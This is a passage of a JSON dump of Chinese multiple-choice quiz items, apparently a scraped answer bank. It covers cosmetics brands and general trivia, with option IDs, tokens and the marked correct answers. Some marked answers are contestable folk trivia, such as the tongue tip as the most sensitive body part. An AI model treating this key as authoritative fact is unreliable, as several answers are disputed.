04:39:22","status":"1"},{"questionId":"6301443110","questionIndex":"2","questionStem":"以下哪个不是肌研护肤产品系列?","options":"[{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0IyJph2_DdMXfiH2LQ\",\"optionDesc\":\"白润系列\"},{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0ZTzAJoNyMNcnSTLHg\",\"optionDesc\":\"极润系列\"},{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0uAhAQ6hVM-nxSza7w\",\"optionDesc\":\"化润系列\\t\\t\"}]","questionToken":"LccSx0BXjD_KVa_ktmQ6gL3_Iy0AcAW-iJX3IBU-N6CWilUDy0_XxMEQDXxIEmt-SkQMARgq5C_8e_xWowhTe-yKtI1hyg","correct":"{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0uAhAQ6hVM-nxSza7w\",\"optionDesc\":\"化润系列\\t\\t\"}","create_time":"27/1/2021 04:35:42","update_time":"27/1/2021 04:35:42","status":"1"},{"questionId":"6301443111","questionIndex":"1","questionStem":"以下哪个产品是曼秀雷敦男士保湿系列?","options":"[{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0M9ZTM2Yk8fdj-6HmQ\",\"optionDesc\":\"能量活肤精华露\"},{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0bJXvXqOiK6ispzrbg\",\"optionDesc\":\"保湿活力洁面乳\"},{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0sDRSvFMO22d0iFwpg\",\"optionDesc\":\"控油抗痘洁面乳\"}]","questionToken":"LccSx0BXjD_KVK_ntmQ6h5jbxHb8Mm0yPLN69zjchTUC6pdbJYv2Wp_eKusGPnXBTb4Rpf42Ey9mHVt9gZgE5MK2spqBlg","correct":"{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0sDRSvFMO22d0iFwpg\",\"optionDesc\":\"控油抗痘洁面乳\"}","create_time":"27/1/2021 04:49:36","update_time":"27/1/2021 04:49:36","status":"1"},{"questionId":"6301443112","questionIndex":"4","questionStem":"欧珀莱明星爆款系列是哪个?","options":"[{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0JOOYObm2wzdN-ON\",\"optionDesc\":\"俊士系列\"},{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0u3CnHzE-4XyWmk_\",\"optionDesc\":\"时光锁系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0fH2CY8dBY-HyrKd\",\"optionDesc\":\"均衡系列\"}]","questionToken":"LccSx0BXjD_KV6_itmQ6h-ojl1n2zE3rlWvsx51PdWIYYbKghI5UyWdq5WHEScTNQz--Th2mwOdZo5QmS-uJQ9Up8L3sjg","correct":"{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0u3CnHzE-4XyWmk_\",\"optionDesc\":\"时光锁系列\\t\\t\"}","create_time":"27/1/2021 04:37:39","update_time":"27/1/2021 04:37:39","status":"1"},{"questionId":"6301443113","questionIndex":"1","questionStem":"欧珀莱夏季最畅销防晒是哪款?","options":"[{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0KYhr1SPmivLrybW3g\",\"optionDesc\":\"盈润修颜隔离霜\"},{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0uxv900mE4WVmPKCUw\",\"optionDesc\":\"烈日防晒\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0UdpnH2Nu0HolcPzwQ\",\"optionDesc\":\"净采修颜防晒\"}]","questionToken":"LccSx0BXjD_KVq_ntmQ6h_sVWa8bilHXWMoRaMn3orS00piL1kEoDLt9Y0L3iSrbQnpvu0NlLKtit_3Osj7kH200ev6l5A","correct":"{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0uxv900mE4WVmPKCUw\",\"optionDesc\":\"烈日防晒\\t\\t\"}","create_time":"27/1/2021 04:36:28","update_time":"27/1/2021 04:36:28","status":"1"},{"questionId":"6301443114","questionIndex":"3","questionStem":"欧珀莱品牌是什么时候诞生的?","options":"[{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0H-AB0jnQ6QsU_CB\",\"optionDesc\":\"1998年\"},{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0Zd0o0Ibkqwbh5L-\",\"optionDesc\":\"1996年\"},{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0h7aBI2Erfsb99GX\",\"optionDesc\":\"1994年 \\t\\t\"}]","questionToken":"LccSx0BXjD_KUa_ltmQ6h7i5N18SvOhhYXy-erRnzw8NU_L_9arN9Q0nfYdHL3lbZ1N748Y0cxOVAT76oE_d_5u5j0f0Qw","correct":"{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0h7aBI2Erfsb99GX\",\"optionDesc\":\"1994年 \\t\\t\"}","create_time":"27/1/2021 04:48:19","update_time":"27/1/2021 04:48:19","status":"1"},{"questionId":"6301443115","questionIndex":"2","questionStem":"欧珀莱的英文是什么?","options":"[{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0cBG4IgklfwsB_TWog\",\"optionDesc\":\"AURPES\"},{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0EKlmE2cYYCwDmfcpQ\",\"optionDesc\":\"AUPESR\"},{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0uSNzFFeGH5lwQW7cQ\",\"optionDesc\":\"AUPRES\\t\\t\"}]","questionToken":"LccSx0BXjD_KUK_ktmQ6gNvXHcgi8jCURThIQ-5YDTDErL2TSbd8d4K6sYjP_WP-vf_G7OR5tXzUxGPwAMFtpRSksUNAtg","correct":"{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0uSNzFFeGH5lwQW7cQ\",\"optionDesc\":\"AUPRES\\t\\t\"}","create_time":"27/1/2021 04:49:33","update_time":"27/1/2021 04:49:33","status":"1"},{"questionId":"6301443116","questionIndex":"4","questionStem":"欧珀莱明星爆款产品是哪个?","options":"[{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0laSe9ov6ZYbxR_Z\",\"optionDesc\":\"时光锁眼霜\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0RRzTvh9007CVM_x\",\"optionDesc\":\"均衡保湿水\"},{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0OR9Qp7uxPydNbOA\",\"optionDesc\":\"俊士滋润凝乳\"}]","questionToken":"LccSx0BXjD_KU6_itmQ6gJcgw2rkuipO06pN-sgvZ5sFUk4ZR2XqkO7V83nUpApOy1ktkmu1cnw7QK0q-9E_ReUHXzTEFw","correct":"{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0laSe9ov6ZYbxR_Z\",\"optionDesc\":\"时光锁眼霜\\t\\t\"}","create_time":"27/1/2021 04:49:51","update_time":"27/1/2021 04:49:51","status":"1"},{"questionId":"6901438976","questionIndex":"2","questionStem":"三国中“三英战吕布”没有谁?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WVtn23ZPKcE2E7r7\",\"optionDesc\":\"关羽\"},{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WmtCsw15gJX4WDf2\",\"optionDesc\":\"赵云\"},{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WLYuzYvwQIIsD0ky\",\"optionDesc\":\"刘备\"}]","questionToken":"Lc0Sx0BQhzeiSxyyaQNvCNcIA2uJtk3NJp8B6W4_I6PWvJNhTSvKbkoZvrGmvZC-zY-AFsVwa6rPzirPCHLfZb5zBqdWyQ","correct":"{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WmtCsw15gJX4WDf2\",\"optionDesc\":\"赵云\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"6901438977","questionIndex":"2","questionStem":"交响乐”通常有几个乐章?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WO1sLqlV1kq5q4TwZg\",\"optionDesc\":\"三个\"},{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WaoqrUmx7vQPyArilw\",\"optionDesc\":\"五个\"},{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WnqIyKmYlO39lJyesA\",\"optionDesc\":\"四个\"}]","questionToken":"Lc0Sx0BQhzeiShyyaQNvCI2WzyHQogTbtQz_q6CRYqzlUo9Hdr_i15Mj8FA8UZcZfdtZy0ozsWErKFsxZZ0AMAWH0RGJxw","correct":"{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WnqIyKmYlO39lJyesA\",\"optionDesc\":\"四个\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"6901438978","questionIndex":"1","questionStem":"人体最敏感的部位是?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WkwJKS4K2ecd_yc\",\"optionDesc\":\"舌尖\"},{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WOrRr4w5O7l--Ik\",\"optionDesc\":\"耳垂儿\"},{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WTgqUDuh_KKPWcc\",\"optionDesc\":\"指尖\"}]","questionToken":"Lc0Sx0BQhzeiRRyxaQNvCPo_UwhF7OiHxocs2PeBcymvmfZVxMjiKbf3JsZl7TNjJa_W21C_dtyA3qq1RHg6fqCvQty6tA","correct":"{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WkwJKS4K2ecd_yc\",\"optionDesc\":\"舌尖\"}","create_time":"27/1/2021 04:44:25","update_time":"27/1/2021 04:44:25","status":"1"},{"questionId":"6901438979","questionIndex":"4","questionStem":"“郁金香”的原产地是?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WkfasMgwdgCs8upq\",\"optionDesc\":\"中国\"},{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WOyIzdCFk4VkNEo0\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0Wef9a-6rQMw35VVo\",\"optionDesc\":\"芬兰\"}]","questionToken":"Lc0Sx0BQhzeiRBy0aQNvD6Aovj9Ihd95VR99ag2VCIdLZsRX-4dEvZIWbfk8SschCcTzt7TCZiBdRKcY7uLiWLcICFvSLQ","correct":"{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WkfasMgwdgCs8upq\",\"optionDesc\":\"中国\"}","create_time":"27/1/2021 04:48:25","update_time":"27/1/2021 04:48:25","status":"1"},{"questionId":"6901438980","questionIndex":"3","questionStem":"“沃尔沃”汽车原产地?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WgiB7UQzEtXLBWddEw\",\"optionDesc\":\"瑞典\"},{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WfxsE__t0EdJemWNSw\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WATREgRM2G5RpBcB-A\",\"optionDesc\":\"德国\"}]","questionToken":"Lc0Sx0BQhzetTRyzaQNvCFyFSV_WlCGFs83P8cZBWqCDsimmTQjEgHRXY1OIPgC8e6dSuN1OjkcCPGoYlwYnWcUeyCqFSg","correct":"{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WgiB7UQzEtXLBWddEw\",\"optionDesc\":\"瑞典\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"6901438981","questionIndex":"4","questionStem":"“音乐”最早出现在?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WdqHg5_RcBa-ZCJhSA\",\"optionDesc\":\"《乐府诗集》\"},{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WrPD8_rmv12JKiCHHw\",\"optionDesc\":\"《吕氏春秋》\"},{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WGbLUdS-8DNRqtI2tA\",\"optionDesc\":\"《诗经》\"}]","questionToken":"Lc0Sx0BQhzetTBy0aQNvD_xtyKygPyZJj-g8Ijxn5S6_UGCa5BK_QEnRYBg0BcAKCRnbBbTEmdA9doGsXwNpjUcGposNrg","correct":"{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WrPD8_rmv12JKiCHHw\",\"optionDesc\":\"《吕氏春秋》\"}","create_time":"27/1/2021 04:36:29","update_time":"27/1/2021 04:36:29","status":"1"},{"questionId":"6901438982","questionIndex":"3","questionStem":"美国的国球是?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WFI1WUQ1aKsogEh-qA\",\"optionDesc\":\"高尔夫球\"},{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WtjQr35DslJ4rFiUUA\",\"optionDesc\":\"棒球\"},{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WVqvXPsXTNYUgvDUDw\",\"optionDesc\":\"橄榄球\"}]","questionToken":"Lc0Sx0BQhzetTxyzaQNvCK4HTythvHgzOzBA16PyVny84-100Ws8JSIgOgA2_cxw-Vd5_nvI7fE5c52JhiZBV2VseB1lmQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WtjQr35DslJ4rFiUUA\",\"optionDesc\":\"棒球\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"6901438983","questionIndex":"3","questionStem":"京剧起源于?","options":"[{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WeeAXRWDJLGKJBQ2tA\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WLAhpqH22VOHvQYjSw\",\"optionDesc\":\"明朝\"},{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WkAPz9uIPeS4OmCQRg\",\"optionDesc\":\"清朝\"}]","questionToken":"Lc0Sx0BQhzetThyzaQNvCIJlUQZiObpeMQQcxAynRXVvBrOrz00wGlKNR6-AyUX3wAd3Uga1DydFRXAeLUxr9FhcgDegZQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WkAPz9uIPeS4OmCQRg\",\"optionDesc\":\"清朝\"}","create_time":"27/1/2021 04:45:44","update_time":"27/1/2021 04:45:44","status":"1"},{"questionId":"6901438984","questionIndex":"1","questionStem":"慈禧曾几次垂帘听政?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WPbEx-gUdEo\",\"optionDesc\":\"两次\"},{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WkNSdF4r3ek\",\"optionDesc\":\"三次\"},{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WXB3aieeWQU\",\"optionDesc\":\"四次\"}]","questionToken":"Lc0Sx0BQhzetSRyxaQNvCK0WkgOK6uhYBi_LRMtmUB0LetJcXK4vJMbmtOqI8TH0yJMmXXeklMadZq9tuHBqA7rZttNGLw","correct":"{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WkNSdF4r3ek\",\"optionDesc\":\"三次\"}","create_time":"27/1/2021 04:37:43","update_time":"27/1/2021 04:37:43","status":"1"},{"questionId":"6901438985","questionIndex":"3","questionStem":"“愚人节”起源于?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WOtXfyIB_8gbwFS-cA\",\"optionDesc\":\"美国\"},{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WQtOK4ohwtT8UP_gyw\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WlfBVyHYmFG82t1WRQ\",\"optionDesc\":\"法国\"}]","questionToken":"Lc0Sx0BQhzetSByzaQNvCEX88aOiYXeU8-XEaUYlem11xVex5xxoYm7j-3p7udt4EogrwBuXySzne0EtG6C-6koRBeP0gQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WlfBVyHYmFG82t1WRQ\",\"optionDesc\":\"法国\"}","create_time":"27/1/2021 03:36:59","update_time":"27/1/2021 03:36:59","status":"1"},{"questionId":"6901438986","questionIndex":"3","questionStem":"电视机是谁发明的?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WTh4SzkNBgeRHcI\",\"optionDesc\":\"爱迪生\"},{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WG-vCjod-WraVng\",\"optionDesc\":\"贝尔\"},{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WqQnRW1pXUgeFa4\",\"optionDesc\":\"贝尔德\"}]","questionToken":"Lc0Sx0BQhzetSxyzaQNvDzniL015bhPpn-PFc2d6g7WDWpq_UcnsPen_ZAQ5zgJcUWm08tWvXVm3wdrtw228VYdutdu3Tw","correct":"{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WqQnRW1pXUgeFa4\",\"optionDesc\":\"贝尔德\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6901438987","questionIndex":"3","questionStem":"哪种糖纯度最高?","options":"[{\"optionId\":\"Lc0Sx0BQhzetShzjekt0WMHRM4Bed5835owObw\",\"optionDesc\":\"红糖\"},{\"optionId\":\"Lc0Sx0BQhzetShzjekt0WU1KoMraFKWP6uwX8A\",\"optionDesc\":\"白糖\"},{\"optionId\":\"Lc0Sx0BQhzetShzjekt0Wh5taSCX5azOana5DQ\",\"optionDesc\":\"冰糖\"}]","questionToken":"Lc0Sx0BQhzetShyzaQNvD6xPi6HpBd-kT9L8PBnJkrSHLFCQgN-wWm39n3Jq-oLfbF2YuTJ-0a0yos8Jml3gh0DR6EBxog","correct":"{\"optionId\":\"Lc0Sx0BQhzetShzjekt0Wh5taSCX5azOana5DQ\",\"optionDesc\":\"冰糖\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"6901438988","questionIndex":"1","questionStem":"“都柏林”在哪个国家?","options":"[{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WA2tM-KMx_C7e-c\",\"optionDesc\":\"英格兰\"},{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WeQgEMd0pGIDTnM\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WnxcOvwawWhv3Q4\",\"optionDesc\":\"爱尔兰\"}]","questionToken":"Lc0Sx0BQhzetRRyxaQNvD7TBtlvjp05c6p_H9e1SJG9XtR9tP7I3xdQ1kgCBKybqBEDRTzTP13kuhhk7X6y3rJDIvSqowg","correct":"{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WnxcOvwawWhv3Q4\",\"optionDesc\":\"爱尔兰\"}","create_time":"27/1/2021 04:49:12","update_time":"27/1/2021 04:49:12","status":"1"},{"questionId":"6901438989","questionIndex":"5","questionStem":"汽车中安全袋里的气体是?","options":"[{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WaBsQQv7lQDBkGYd\",\"optionDesc\":\"氖气\"},{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WgWRrb7xIgPNTwYo\",\"optionDesc\":\"氮气\"},{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WJ4Sp2WtgcR496Pq\",\"optionDesc\":\"氙气\"}]","questionToken":"Lc0Sx0BQhzetRBy1aQNvCD7lhJwProJeLhPWljomXNqPDLRrJKsE5wyeCCOPEIYyFuzdE3gejqYsZvxYuhb--a91s47_jw","correct":"{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WgWRrb7xIgPNTwYo\",\"optionDesc\":\"氮气\"}","create_time":"27/1/2021 04:48:36","update_time":"27/1/2021 04:48:36","status":"1"},{"questionId":"6901438990","questionIndex":"5","questionStem":"象脚鼓是哪个民族乐器?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0Wdra-jMaQp3ZFAQL\",\"optionDesc\":\"苗族\"},{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WkOVD2ESki-uj9rI\",\"optionDesc\":\"傣族\"},{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WHSLnTt2-4Nztn_Z\",\"optionDesc\":\"朝鲜族\"}]","questionToken":"Lc0Sx0BQhzesTRy1aQNvDzd_xKin29MHthexslebuL-NIGZmECX8mIjPyKmENP8uzNT8U4kTqR2BcQ6Ih_Zy_muvXPxRXA","correct":"{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WkOVD2ESki-uj9rI\",\"optionDesc\":\"傣族\"}","create_time":"27/1/2021 04:50:44","update_time":"27/1/2021 04:50:44","status":"1"},{"questionId":"6901438991","questionIndex":"1","questionStem":"蚊子最怕什么味道?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WNwwb03zijvXf46Nbg\",\"optionDesc\":\"酒味\"},{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WvqZz27D84L2SyYBBA\",\"optionDesc\":\"漂白粉味\"},{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WVMFPcbAZkUxTWpH4Q\",\"optionDesc\":\"汗味\"}]","questionToken":"Lc0Sx0BQhzesTByxaQNvDxIpLyjNXxQ6GFrixTnz96A7KEeVlQBPP9_o-BLLy7ow0bs5P937h0BdWnBTsPld3dyIduA0ow","correct":"{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WvqZz27D84L2SyYBBA\",\"optionDesc\":\"漂白粉味\"}","create_time":"27/1/2021 04:00:27","update_time":"27/1/2021 04:00:27","status":"1"},{"questionId":"6901438992","questionIndex":"5","questionStem":"古代“如意”最早指?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wfh0pgm9l0P2SC01\",\"optionDesc\":\"祈福物\"},{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0WHTpdxfWPyeUgCZr\",\"optionDesc\":\"美容用具\"},{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wi9l7YwmUmn6Eubz\",\"optionDesc\":\"痒痒挠\"}]","questionToken":"Lc0Sx0BQhzesTxy1aQNvCIv9VYM4_SSixe7wmrB9aK8Ba1Jsd5T-Kbbx2bNwbZTZxJBe_7kUdo_TD3DY-n72lnXpMoJEfQ","correct":"{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wi9l7YwmUmn6Eubz\",\"optionDesc\":\"痒痒挠\"}","create_time":"27/1/2021 04:48:00","update_time":"27/1/2021 04:48:00","status":"1"},{"questionId":"6901438993","questionIndex":"5","questionStem":"埃及的新年在什么季节?","options":"[{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WnJIDxOPut0hgWNdxQ\",\"optionDesc\":\"秋季\"},{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WUDPEHws36joYYYt1g\",\"optionDesc\":\"冬季\"},{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WPSPeMrzXTFVwqnQ7w\",\"optionDesc\":\"春季\"}]","questionToken":"Lc0Sx0BQhzesThy1aQNvD1T6YOzb9QLAH3LhuR78nZ2RW555cHAmeIzOqBJQhEQFq0lFaODs9kGGnuUhem5KipQ8Ldlt2g","correct":"{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WnJIDxOPut0hgWNdxQ\",\"optionDesc\":\"秋季\"}","create_time":"27/1/2021 04:36:55","update_time":"27/1/2021 04:36:55","status":"1"},{"questionId":"6901438994","questionIndex":"1","questionStem":"“商人”的“商”最早指的是?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WA_TEf3DeG6MvWEPnQ\",\"optionDesc\":\"商量\"},{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WV_tek3P-wjmC92A_w\",\"optionDesc\":\"钱币\"},{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WoZUGr1sv3LSgsKIug\",\"optionDesc\":\"商朝\"}]","questionToken":"Lc0Sx0BQhzesSRyxaQNvCP8K3AvUd-4E_O2t6n4zK2R_b0OVXRxoVuUOxE4Xb3VDPum-n7FiBHaJvmGuPzMZb1EfgmQ2Jw","correct":"{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WoZUGr1sv3LSgsKIug\",\"optionDesc\":\"商朝\"}","create_time":"27/1/2021 04:49:48","update_time":"27/1/2021 04:49:48","status":"1"},{"questionId":"6901438995","questionIndex":"5","questionStem":"“味精”是哪国人发明的?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0WTJ5x-SZeAZHlASVsA\",\"optionDesc\":\"韩国\"},{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0WJnw9gP9JLcEJPtqlQ\",\"optionDesc\":\"中国\"},{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0Wrl-4rm5Yv_MRWDalw\",\"optionDesc\":\"日本\"}]","questionToken":"Lc0Sx0BQhzesSBy1aQNvCIW-BwFC-FVMNSZIaHENewEEb55re7NwDhKrZlWkbbVjPp4LZbysaeys9qeynGFKV6kp8IWSww","correct":"{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0Wrl-4rm5Yv_MRWDalw\",\"optionDesc\":\"日本\"}","create_time":"27/1/2021 04:49:57","update_time":"27/1/2021 04:49:57","status":"1"},{"questionId":"6901438996","questionIndex":"1","questionStem":"哪个名医年岁最大?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WFVcupu2adGQ3J63AA\",\"optionDesc\":\"华佗\"},{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WneKQzDKDSPCeeayWw\",\"optionDesc\":\"孙思邈\"},{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0Wct_1SwpvtWgWRcymQ\",\"optionDesc\":\"扁鹊\"}]","questionToken":"Lc0Sx0BQhzesSxyxaQNvCOURdACADBLwUS-Y7Dbau0SZo_AO-AZ-Rj8RlbGI8y4kBzb_9w8dDB7MwRzcL92PM0PXZsAd5g","correct":"{\"optionId\":\"Lc0Sx0BQhzesSxzjekt0WneKQzDKDSPCeeayWw\",\"optionDesc\":\"孙思邈\"}","create_time":"27/1/2021 04:46:22","update_time":"27/1/2021 04:46:22","status":"1"},{"questionId":"6901438997","questionIndex":"1","questionStem":"“高原反应”的原因是?","options":"[{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WGwFrDvO-evV2r8\",\"optionDesc\":\"气温气压综合反映\"},{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WpLgvNoaOgs9Ro0\",\"optionDesc\":\"气压过低\"},{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WaQLW42M8iBR674\",\"optionDesc\":\"气温过低\"}]","questionToken":"Lc0Sx0BQhzesShyxaQNvD51EgwsLfOs32f-Ti90-e6Ssfy0J1ZJTJNNGz3YAR_SljUn8a--w9Bhs1KJ05Hw1hujhSV6oFQ","correct":"{\"optionId\":\"Lc0Sx0BQhzesShzjekt0WpLgvNoaOgs9Ro0\",\"optionDesc\":\"气压过低\"}","create_time":"27/1/2021 04:40:56","update_time":"27/1/2021 04:40:56","status":"1"},{"questionId":"6901438998","questionIndex":"5","questionStem":"体温计的最高温度?","options":"[{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WDzKlQOWU82pgdKK\",\"optionDesc\":\"40摄氏度\"},{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WTS0x4wAGhP2svzc\",\"optionDesc\":\"45摄氏度\"},{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WqpiK50kV48e9v6-\",\"optionDesc\":\"42摄氏度\"}]","questionToken":"Lc0Sx0BQhzesRRy1aQNvDxuHRiYPB4ReIMQYrP0XNlfP9wr7gh7dL04TlcAA6gDj1mo-HjSkpx-NMLN4b90Hn5rXT0Vmew","correct":"{\"optionId\":\"Lc0Sx0BQhzesRRzjekt0WqpiK50kV48e9v6-\",\"optionDesc\":\"42摄氏度\"}","create_time":"27/1/2021 04:48:30","update_time":"27/1/2021 04:48:30","status":"1"},{"questionId":"6901438999","questionIndex":"1","questionStem":"“三明治”原产地?","options":"[{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WdOIEh8eHL5r74U\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WmVqPVPNJn4oGb8\",\"optionDesc\":\"英国\"},{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WEluS93_8tUfhZU\",\"optionDesc\":\"美国\"}]","questionToken":"Lc0Sx0BQhzesRByxaQNvCBHgUMXnOrVW7L-n1NiMZP3v24tu_X-sBRN3IXLiebxz9JsDnbN02WoZlgIaXbrxH2bSInH7ag","correct":"{\"optionId\":\"Lc0Sx0BQhzesRBzjekt0WmVqPVPNJn4oGb8\",\"optionDesc\":\"英国\"}","create_time":"27/1/2021 04:40:37","update_time":"27/1/2021 04:40:37","status":"1"},{"questionId":"6901439000","questionIndex":"5","questionStem":"“夜市”最早出现在?","options":"[{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__dUnP1Lrai6D8Vhb\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__vkKEaRCkDNR2vaH\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__HyNWwADnqCjX8hQ\",\"optionDesc\":\"元朝\"}]","questionToken":"Lc0Sx0BQhj7tI_ZJnynkrH-0wjEiuOwezB8EeZCpmbZN0DpunhNdratVp93JUyi_Qwc_PWs7Yc-ItOSYByKZiZeHTpNzVg","correct":"{\"optionId\":\"Lc0Sx0BQhj7tI_YfjGH__vkKEaRCkDNR2vaH\",\"optionDesc\":\"唐朝\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 